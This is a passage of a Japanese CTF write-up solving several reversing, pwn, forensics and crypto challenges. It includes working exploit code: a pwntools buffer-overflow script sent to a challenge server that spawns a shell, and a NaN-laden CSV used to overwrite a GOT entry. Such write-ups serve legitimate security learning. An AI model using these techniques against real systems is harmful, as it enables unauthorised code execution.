19033: \x86 TUPLE2
19034: \x86 TUPLE2
19035: \x86 TUPLE2
19036: \x94 MEMOIZE    (as 0)

その後 type(amazing_function)type(getattr(amazing_function, '__code__')) によって functioncode を取り出している。それらを利用して searchmix という謎の関数を定義している。

19038: c    GLOBAL     'builtins type'
19053: c    GLOBAL     '__main__ amazing_function'
19080: \x85 TUPLE1
19081: R    REDUCE
19082: c    GLOBAL     'builtins type'
19097: c    GLOBAL     'builtins getattr'
19115: c    GLOBAL     '__main__ amazing_function'
19142: S    STRING     '__code__'
19154: \x86 TUPLE2
19155: R    REDUCE
19156: \x85 TUPLE1
19157: R    REDUCE
19158: (    MARK
19159: J        BININT     2
19164: J        BININT     0
19169: J        BININT     0
19174: J        BININT     5
19179: J        BININT     6
19184: J        BININT     67
19189: B        BINBYTES   b'd\x01}\x02zB|\x00\\\x02}\x03}\x04|\x01d\x02\x16\x00|\x02k\x02r0|\x04}\x00|\x01d\x02\x1c\x00}\x01d\x03|\x02\x18\x00}\x02n\x14|\x03}\x00|\x01d\x02\x1c\x00}\x01d\x03|\x02\x18\x00}\x02W\x00q\x04\x01\x00\x01\x00\x01\x00|\x00d\x01\x19\x00\x06\x00Y\x00S\x000\x00q\x04d\x00S\x00'
19292: (        MARK
...
19417: R    REDUCE
19418: }    EMPTY_DICT
19419: \x86 TUPLE2
19420: R    REDUCE
19421: \x94 MEMOIZE    (as 1)

rick_says を取り出して mix した後に、tuple(search((複雑なタプル), x) for x in mix(rick_says)) のような感じでその要素をひとつずつ search に投げて、その結果をタプルとして取得している。

19873: c    GLOBAL     '__main__ rick_says'
19893: \x85 TUPLE1
19894: R    REDUCE
19895: \x94 MEMOIZE    (as 2)
19896: 0    POP
19897: c    GLOBAL     'builtins print'
19913: c    GLOBAL     '__main__ amazing_function'
19940: (    MARK
19941: g        GET        1
19944: g        GET        0
19947: c        GLOBAL     '__main__ amazing_function'
19974: g        GET        2
19977: J        BININT     0
19982: \x86     TUPLE2
19983: R        REDUCE
19984: \x86     TUPLE2
19985: R        REDUCE
...
20886: t        TUPLE      (MARK at 19940)

そのタプルと (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) が一致していればOKなようだ。

20887: (    MARK
20888: J        BININT     53
20893: J        BININT     158
20898: J        BININT     33
20903: J        BININT     115
20908: J        BININT     5
20913: J        BININT     17
20918: J        BININT     103
20923: J        BININT     3
20928: J        BININT     67
20933: J        BININT     240
20938: J        BININT     39
20943: J        BININT     27
20948: J        BININT     19
20953: J        BININT     68
20958: J        BININT     81
20963: J        BININT     107
20968: J        BININT     245
20973: J        BININT     82
20978: J        BININT     130
20983: J        BININT     159
20988: J        BININT     227
20993: t        TUPLE      (MARK at 20887)
20994: c    GLOBAL     '__main__ rick_says'
21014: \x87 TUPLE3
21015: R    REDUCE
21016: \x85 TUPLE1
21017: R    REDUCE
21018: .    STOP

searchとmixを読む

searchmixバイトコードしか与えられていない。uncompyle6デコンパイルしてみようとしたが、どうやら対応していない命令が含まれているらしくできない。Pythonの公式ドキュメントの命令一覧を見ながら手でデコンパイルする。以下のようなPythonコードを使ってすぐにバイトコードを逆アセンブルした結果が見られるようにしておくと便利。

import dis

def search(a, b):
  return None

dis.dis(search)

c = pickle.loads(s[19038:19418] + b'.')code オブジェクトを作成する処理だけ切り抜いてunpickleしてやれば、c.co_varnamesc.co_consts から変数名や定数などの情報も得られる。これらの情報をもとに根性でデコンパイルすると以下のようになった。

def mix(a):
  ln = a.__len__()
  arr = []
  i = 0
  while i < ln:
    s, j = (0, 0)
    while j < ln:
      s += (j + 1) * a[(i + j) % ln]
      j += 1
    s %= 257
    arr.append(s)
    i += 1
  return arr

def search(a, b):
  c = 0
  while True:
    try:
      a0, a1 = a
      if b % 2 == c:
        a = a1
        b //= 2
        c = 1 - c
      else:
        a = a0
        b //= 2
        c = 1 - c
    except:
      return a[0]

あとはソルバを書いて実行するだけ。

from z3 import *

def amazing_function(a, b, c=None):
  if type(b) == int:
    return a[b]
  else:
    return (
      f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
    )

def mix(a):
  ln = a.__len__()
  arr = []
  i = 0
  while i < ln:
    s, j = (0, 0)
    while j < ln:
      s += (j + 1) * a[(i + j) % ln]
      j += 1
    s %= 257
    arr.append(s)
    i += 1
  return arr

xx = (((((((((115,), (99,)), ((97,), (162,))), (((81,), (225,)), ((215,), (72,)))), ((((111,), (229,)), ((64,), (155,))), (((212,), (66,)), ((95,), (200,))))), (((((177,), (45,)), ((206,), (18,))), (((140,), (47,)), ((122,), (19,)))), ((((186,), (123,)), ((91,), (94,))), (((26,), (104,)), ((119,), (88,)))))), ((((((44,), (82,)), ((58,), (139,))), (((193,), (101,)), ((209,), (213,)))), ((((65,), (16,)), ((164,), (124,))), (((150,), (149,)), ((132,), (1,))))), (((((79,), (236,)), ((131,), (196,))), (((113,), (194,)), ((185,), (4,)))), ((((107,), (36,)), ((181,), (218,))), (((120,), (40,)), ((142,), (11,))))))), (((((((183,), (129,)), ((51,), (125,))), (((6,), (222,)), ((13,), (161,)))), ((((141,), (109,)), ((100,), (175,))), (((153,), (252,)), ((117,), (127,))))), (((((54,), (156,)), ((62,), (167,))), (((160,), (198,)), ((152,), (211,)))), ((((178,), (21,)), ((73,), (214,))), (((253,), (135,)), ((105,), (190,)))))), ((((((85,), (12,)), ((243,), (34,))), (((137,), (233,)), ((128,), (228,)))), ((((151,), (8,)), ((247,), (92,))), (((60,), (174,)), ((138,), (114,))))), (((((130,), (169,)), ((15,), (103,))), (((230,), (106,)), ((158,), (57,)))), ((((76,), (5,)), ((84,), (210,))), (((32,), (39,)), ((165,), (87,)))))))), ((((((((184,), (237,)), ((28,), (207,))), (((75,), (172,)), ((176,), (231,)))), ((((37,), (195,)), ((232,), (182,))), (((25,), (201,)), ((188,), (61,))))), (((((163,), (251,)), ((227,), (2,))), (((46,), (35,)), ((71,), (250,)))), ((((246,), (38,)), ((136,), (255,))), (((199,), (29,)), ((20,), (242,)))))), ((((((238,), (126,)), ((17,), (179,))), (((148,), (220,)), ((240,), (86,)))), ((((59,), (145,)), ((80,), (189,))), (((224,), (170,)), ((24,), (143,))))), (((((0,), (10,)), ((166,), (77,))), (((41,), (203,)), ((31,), (90,)))), ((((239,), (191,)), ((197,), (112,))), (((159,), (118,)), ((157,), (244,))))))), (((((((226,), (216,)), ((43,), (49,))), (((70,), (93,)), ((50,), (78,)))), ((((7,), (208,)), ((96,), (202,))), (((89,), (108,)), ((168,), (235,))))), (((((3,), (254,)), ((146,), (55,))), (((9,), (180,)), ((241,), (121,)))), ((((98,), (110,)), ((68,), (83,))), (((63,), (42,)), ((69,), (52,)))))), ((((((30,), (221,)), ((27,), (248,))), (((33,), (147,)), ((205,), (14,)))), ((((56,), (116,)), ((173,), (192,))), (((53,), (74,)), ((234,), (223,))))), (((((154,), (67,)), ((187,), (217,))), (((23,), (134,)), ((171,), (102,)))), ((((22,), (204,)), ((249,), (245,))), (((219,), (144,)), ((48,), (133,)))))))))
def search(a, b):
  c = 0
  while True:
    try:
      a0, a1 = a
      if b % 2 == c:
        a = a1
        b //= 2
        c = 1 - c
      else:
        a = a0
        b //= 2
        c = 1 - c
    except:
      return a[0]

flag = [Int(f'x_{i}') for i in range(21)]
solver = Solver()
for c in flag:
  solver.add(0x20 <= c, c < 0x7f)

rick_says = mix(flag)

tmp = []
target = (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227)
for x in target:
  for y in range(256):
    r = search(xx, y)
    if r == x:
      tmp.append(y)
      break

print(tmp)

for c, d in zip(tmp, rick_says):
  solver.add(c == d)

c = solver.check()
print(c)
m = solver.model()
res = ''
for c in flag:
  res += chr(m[c].as_long())
print(res)

実行してしばらく待つとフラグが得られた。

$ python solve.py
...
YEAH!I'm_pickle-RICK!
ACSC{YEAH!I'm_pickle-RICK!}

[Rev 270] encoder (23 solves)

encoder というELFと、それによって暗号化されたらしき flag.jpg.enc というファイルが与えられる。以下の実行結果から推測できるように、どのように暗号化されるかは毎秒変わる。

$ echo AAAABBBBCCCCAAAA > test.txt
$ ./encoder test.txt; date; xxd test.txt.enc
Sun Sep 19 13:48:06 UTC 2021
00000000: 1c08 0381 2070 040e 0081 2010 0402 4080  .... p.... ...@.
00000010: 0814 8102 5020 0a04 81c0 1038 0207 e040  ....P .....8...@
00000020: 1001      
$ ./encoder test.txt; date; xxd test.txt.enc
Sun Sep 19 13:48:10 UTC 2021
00000000: 0004 8000 1000 0200 c040 1808 0301 2060  .........@.... `
00000010: 0408 0081 2010 0402 4000 0800 0100 0020  .... ...@...... 
00000020: 0c0d                                     ..
$ ./encoder test.txt; date; xxd test.txt.enc
Sun Sep 19 13:48:10 UTC 2021
00000000: 0004 8000 1000 0200 c040 1808 0301 2060  .........@.... `
00000010: 0408 0081 2010 0402 4000 0800 0100 0020  .... ...@...... 
00000020: 0c0d                                     ..

まずIDA Freewareで静的解析を試みたが、main 関数は以下のように mprotect を呼び出した後に無効な命令を実行してしまうようだ。

f:id:st98:20210919225033p:plain

よくバイナリを見ると、.init_array セクションでいくつもアドレスが登録されている。2つ目の関数を見てみると、以下のように sigaction4 というシグナルを受信した際に別の関数が呼び出されるように設定されていることがわかる。4SIGILL だ。main の最後に無効な命令が置かれていたのは、この関数を呼び出させるためだろう。

f:id:st98:20210919225615p:plain

ほかにも色々な解析妨害が施されており面倒だ。別の方法でバイナリの挙動を探る。

試しに rand を差し替えてみる。まず以下のCコードを gcc -shared -fPIC rand.c -o rand.soコンパイルする。NYAN=123 LD_PRELOAD=./rand.so ./encoder a.txt を何度も実行しても出力された a.txt.enc の内容は変わらない。暗号化のアルゴリズムrand に依存しているようだ。

#include <stdlib.h>
int rand(void) {
  return atoi(getenv("NYAN"));
}

ltrace で関数の呼び出しを見てみると、rand は一度しか呼び出されていないことがわかる。.init_array に登録されていた関数内のアレだろう。あの関数では rand() % 255 と剰余が取られていた。255通りなら総当たりできる。それで flag.jpg.enc が暗号化されたときの rand の返り値が特定できないか試してみる。

適当なJPEGを用意し、最初の数バイトを切り出す。続いて、for x in {0..254}; do NYAN=$x LD_PRELOAD=./rand.so ./encoder dummy.jpg; cp -p dummy.jpg.enc dust/$x.enc; done で255通りの暗号化を試す。以下のPythonスクリプトでそれらのファイルと flag.jpg.enc の最初の数バイトを比較してやると、flag.jpg.enc が暗号化されたときの rand() % 255 は80であるとわかった。

import glob
with open('flag.jpg.enc', 'rb') as f:
  s = f.read()
for fn in glob.glob('tmp/*'):
  with open(fn, 'rb') as f:
    t = f.read()
  if t == s[:len(t)]:
    print(fn)
$ python3 check.py 
tmp/80.enc

これを使って、なんとか復号できないだろうか。暗号化のアルゴリズムを探っていく。同じ文字が続くテキストファイルの暗号化を試していると、以下のようにファイルは1バイトずつ暗号化されて、1バイトにつき2バイトが出力されていることがわかる。どのように暗号化されるかはその文字の位置だけが影響し、直前の文字などは影響しない。また、それも16バイトでループする。

$ echo "AAAAAAAAAAAAAAAAAAAAAAAABAAAAA" > a.txt; NYAN=80 LD_PRELOAD=./rand.so ./encoder a.txt; xxd a.txt.enc
00000000: 181d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000010: 1d18 03a3 6074 8c0e d181 3a30 0746 c0e8  ....`t....:0.F..
00000020: 181d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000030: 1d14 03a3 6074 8c0e d181 3a30 0505       ....`t....:0..
$ echo "BAAAAAAAAAAAAAAAAAAAAAAABAAAAA" > a.txt; NYAN=80 LD_PRELOAD=./rand.so ./encoder a.txt; xxd a.txt.enc
00000000: 141d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000010: 1d18 03a3 6074 8c0e d181 3a30 0746 c0e8  ....`t....:0.F..
00000020: 181d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000030: 1d14 03a3 6074 8c0e d181 3a30 0505       ....`t....:0..

つまり、0から255までの値についてそれぞれ16通りの暗号化を試してテーブルを作成すれば、flag.jpg.enc の元のファイルが得られるはずだ。Pythonスクリプトを書く。

import os

payload = b''
for x in range(256):
  payload += bytes([x]) * 16
with open('tmp.bin', 'wb') as f:
  f.write(payload)
os.system('NYAN=80 LD_PRELOAD=./rand.so ./encoder tmp.bin')

table = {}
with open('tmp.bin.enc', 'rb') as f:
  for x in range(16):
    table[x] = {}
    for y in range(256):
      f.seek(32 * y + 2 * x)
      table[x][f.read(2)] = y

with open('flag.jpg.enc', 'rb') as f:
  i = 0
  res = b''
  while True:
    print(i)
    x = f.read(2)
    if x == b'':
      break
    res += bytes([table[i % 16][x]])
    i += 1

with open('flag.jpg', 'wb') as f:
  f.write(res)

実行すると flag.jpg.enc の元のファイルが取得でき、フラグが得られた。

f:id:st98:20210919232108j:plain

ACSC{it is too easy to recover this stuff, huh?}

[Rev 360] Tnzr (10 solves)

Windowsの実行ファイルが与えられる。実行すると次のような15x15のビンゴカードが表示される。適当に操作していると、WASDでカーソルの移動が、スペースキーでカーソルが指しているマスをうずまき → 目 → 何もなしに変えられることがわかる。

f:id:st98:20210919215546p:plain

Nで次のビンゴカードに移動し、Cですべてのビンゴカードが正しい配置になっているかまとめてチェックされる。Cキーでのチェック時にどこかが間違っていれば以下のようにWRONGと表示される。ちなみに、ビンゴカードは全部で35枚ある。

f:id:st98:20210919224049p:plain

IDA Freewareで解析するとSDLが使われていることがわかる。WinMain からメインループを追ったり、キーボードの状態を取得する関数である SDL_GetKeyboardState のxrefsからWASDが押されたかどうかのチェックなどをしている関数(0x1400015E0)を特定していくと、ビンゴカードのデータが格納されているらしきアドレス(0x1400172D0)も特定できる。

f:id:st98:20210919222232p:plain

その関数の最後で呼び出されている関数も見てみると、以下のようにビンゴカードが1行ずつ謎の比較がされておりかなり怪しい。ビンゴカードが正しい配置になっているか確認する関数だろう。

f:id:st98:20210919222551p:plain

雑にPythonで書き直して、Z3Pyでソルバを作る。

import struct
from PIL import Image
from z3 import *

def u32(x):
  return struct.unpack('<I', x)[0]

with open('distfiles/Tnzr.exe', 'rb') as f:
  table = io.BytesIO(f.read())

def get_addr(x):
  table.seek(x)
  return u32(table.read(4))

def get_row(row, i):
  return row[i + 13]

im = Image.new('L', (15 * 35, 15))
pix = im.load()

s1 = 0xd650 - (0x3c30 + 195 * 4)
for i in range(0, 31500, 900):
  print(i)
  solver = Solver()

  card = [[Int(f'card_{y}_{x}') for x in range(15)] for y in range(15)]
  for y in range(15):
    for x in range(15):
      solver.add(Or(card[y][x] == 0, card[y][x] == 1, card[y][x] == 2))

  s2 = (0x3c30 + 195 * 4) + i
  s3 = (0x3c30 + 195 * 4) + i
  v5 = s1
  card_ = iter(card)
  for k in range(15, 0, -1):
    row = next(card_)
    v8 = get_row(row, 1)
    v9 = s2
    v10 = get_row(row, 0)
    v12 = get_row(row, -1)
    v13 = get_row(row, -2)
    v14 = get_row(row, -3)
    v15 = get_row(row, -4)
    for l in range(15, 0, -1):
      v16 = get_addr(v9 + v5) - \
            (
              v10 * get_addr(v9) + \
              get_row(row, -8) * get_addr(v9 - 120 * 4) + \
              get_row(row, -9) * get_addr(v9 - 135 * 4) + \
              get_row(row, -10) * get_addr(v9 - 150 * 4) + \
              get_row(row, -11) * get_addr(v9 - 165 * 4) + \
              get_row(row, -12) * get_addr(v9 - 180 * 4) + \
              get_row(row, -13) * get_addr(v9 - 195 * 4) + \
              v8 * get_addr(v9 + 15 * 4) + \
              v12 * get_addr(v9 - 15 * 4) + \
              v13 * get_addr(v9 - 30 * 4) + \
              v14 * get_addr(v9 - 45 * 4) + \
              v15 * get_addr(v9 - 60 * 4) + \
              get_row(row, -5) * get_addr(v9 - 75 * 4) + \
              get_row(row, -6) * get_addr(v9 - 90 * 4) + \
              get_row(row, -7) * get_addr(v9 - 105 * 4)
            )
      solver.add(v16 == 0)
      v9 += 4
    s2 = s3
    v5 += 60
  s1 = 0xd650 - (0x3c30 + 195 * 4)

  c = solver.check()
  model = solver.model()
  for y in range(15):
    for x in range(15):
      res = model[card[y][x]].as_long()
      pix[x + 15 * (i // 900), y] = [255, 128, 0][res]

im.save('result.png')

これを実行すると以下のような画像が出力され、フラグが得られた。

f:id:st98:20210919223928p:plain

ACSC{WELCOM3_T0_TH3_ACSC_W3_N33D_U}

[Pwn 100] filtered (168 solves)

以下のようなコードが与えられている。なんとかして win という関数に飛ばしたい。main では0x100文字より長い文字列を読み込ませないようチェックがされているが、length は符号付きなので -1 を入力するとバイパスできてしまう。これでバッファオーバーフローができる。

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* Call this function! */
void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
  exit(0);
}

/* Print `msg` */
void print(const char *msg) {
  write(1, msg, strlen(msg));
}

/* Print `msg` and read `size` bytes into `buf` */
void readline(const char *msg, char *buf, size_t size) {
  char c;
  print(msg);
  for (size_t i = 0; i < size; i++) {
    if (read(0, &c, 1) <= 0) {
      print("I/O Error\n");
      exit(1);
    } else if (c == '\n') {
      buf[i] = '\0';
      break;
    } else {
      buf[i] = c;
    }
  }
}

/* Print `msg` and read an integer value */
int readint(const char *msg) {
  char buf[0x10];
  readline(msg, buf, 0x10);
  return atoi(buf);
}

/* Entry point! */
int main() {
  int length;
  char buf[0x100];

  /* Read and check length */
  length = readint("Size: ");
  if (length > 0x100) {
    print("Buffer overflow detected!\n");
    exit(1);
  }

  /* Read data */
  readline("Data: ", buf, length);
  print("Bye!\n");

  return 0;
}

あとは雑にリターンアドレスを win に書き換えてしまう。

$ cat s.py
from pwn import *
s = remote('167.99.78.201', 9001)
print(s.recv(1024))
s.sendline(b'-1')
print(s.recv(1024))
s.send(b'A' * (280) + p64(0x4011d6) * 100)
s.interactive()
$ python3 s.py 
[+] Opening connection to 167.99.78.201 on port 9001: Done
b'Size: '
b'Data: '
[*] Switching to interactive mode
$ ls
Bye!
$ ls
filtered
flag-08d995360bfb36072f5b6aedcc801cd7.txt
$ cat flag*
ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}

[Pwn 200] histogram (38 solves)

身長と体重を記録したCSVファイルを投げてやると、いい感じにヒストグラムとして表示してくれる便利なアプリケーション。CSVの読み込み部分のコードは次のようになっている。weight < 1.0 || weight >= WEIGHT_MAX というチェックによって範囲外アクセスはできないようになっている。

本当だろうか。よく見ると身長と体重は fscanf(fp, "%lf,%lf", &weight, &height)double として読み込まれている。もし nan を読み込ませれば、weight < 1.0weight >= WEIGHT_MAX も偽になる。その後の (short)ceil(weight / WEIGHT_STRIDE) - 1i-1 が入り、map[i][j]++ で範囲外アクセスができてしまう。

#define WEIGHT_MAX 600 // kg
#define HEIGHT_MAX 300 // cm
#define WEIGHT_STRIDE 10
#define HEIGHT_STRIDE 10
#define WSIZE (WEIGHT_MAX/WEIGHT_STRIDE)
#define HSIZE (HEIGHT_MAX/HEIGHT_STRIDE)

int map[WSIZE][HSIZE] = {0};
int wsum[WSIZE] = {0};
int hsum[HSIZE] = {0};

// …

int read_data(FILE *fp) {
  /* Read data */
  double weight, height;
  int n = fscanf(fp, "%lf,%lf", &weight, &height);
  if (n == -1)
    return 1; /* End of data */
  else if (n != 2)
    fatal("Invalid input");

  /* Validate input */
  if (weight < 1.0 || weight >= WEIGHT_MAX)
    fatal("Invalid weight");
  if (height < 1.0 || height >= HEIGHT_MAX)
    fatal("Invalid height");

  /* Store to map */
  short i, j;
  i = (short)ceil(weight / WEIGHT_STRIDE) - 1;
  j = (short)ceil(height / HEIGHT_STRIDE) - 1;
  
  map[i][j]++;
  wsum[i]++;
  hsum[j]++;

  return 0;
}

IDA Freewareで map の周囲を見てみると、ちょうど .got.plt が直前に配置されている。適当に書き換えてしまおう。今回は事前に用意された以下の win という関数に飛ばせばよい。

void win(void) {
  char flag[0x100];
  FILE *fp = fopen("flag.txt", "r");
  int n = fread(flag, 1, sizeof(flag), fp);
  printf("%s", flag);
  exit(0);
}

fclosewin に書き換えるようなCSVを作り、ヒストグラムに変換するとフラグが得られた。

$ python3 -c "print('nan,30\n' * 520)" > b.csv; ./histogram.bin b.csv 
$ curl -k -i https://histogram.chal.acsc.asia/api/histogram -F csv=@b.csv
...
ACSC{NaN_demo_iiyo}

[Forensics 140] NYONG Coin (26 solves)

E01という拡張子を持つファイルが与えられる。仮想通貨のトランザクションが記録されたファイルがたくさん含まれているのだけれども、どうやらその中のひとつは改ざんされているらしい。改ざんされた箇所を答えろという問題。

FTK Imagerで開いてみると、たしかに.xlsxファイルがたくさんある。ただ、レコードが多すぎてどれが不審なトランザクションなのか全くわからない。諦めてunallocated spaceを眺めていると、PK とか [Content_Types].xml といった文字列が目に入った。ほかにも.xlsxファイルがあるようなので切り出す。別のよく似た.xlsxとともにCSVに変換した上でdiffを取ってみると、ひとつのトランザクションだけ改ざんされていることが確認できた。

ACSC{8d77a554-dc64-478c-b093-da4493a8534d}

[Crypto 100] RSA stream (121 solves)

以下のような chal.py というPythonスクリプトと、n などのパラメータが書かれた output.txt、暗号化されたファイルである chal.enc が与えられる。c = stream ^ q という部分を見ると、暗号化されたファイルと chal.py をXORすれば pow(m, 0x10001, n)pow(m, 0x10003, n) が得られることがわかる。

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad

from flag import m
#m = b"ACSC{<REDACTED>}" # flag!

f = open("chal.py","rb").read() # I'll encrypt myself!
print("len:",len(f))
p = getStrongPrime(1024)
q = getStrongPrime(1024)

n = p * q
e = 0x10001
print("n =",n)
print("e =",e)
print("# flag length:",len(m))
m = pad(m, 255)
m = bytes_to_long(m)

assert m < n
stream = pow(m,e,n)
cipher = b""

for a in range(0,len(f),256):
  q = f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  c = stream ^ q
  cipher += long_to_bytes(c,256)
  e = gmpy2.next_prime(e)
  stream = pow(m,e,n)

open("chal.enc","wb").write(cipher)
ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}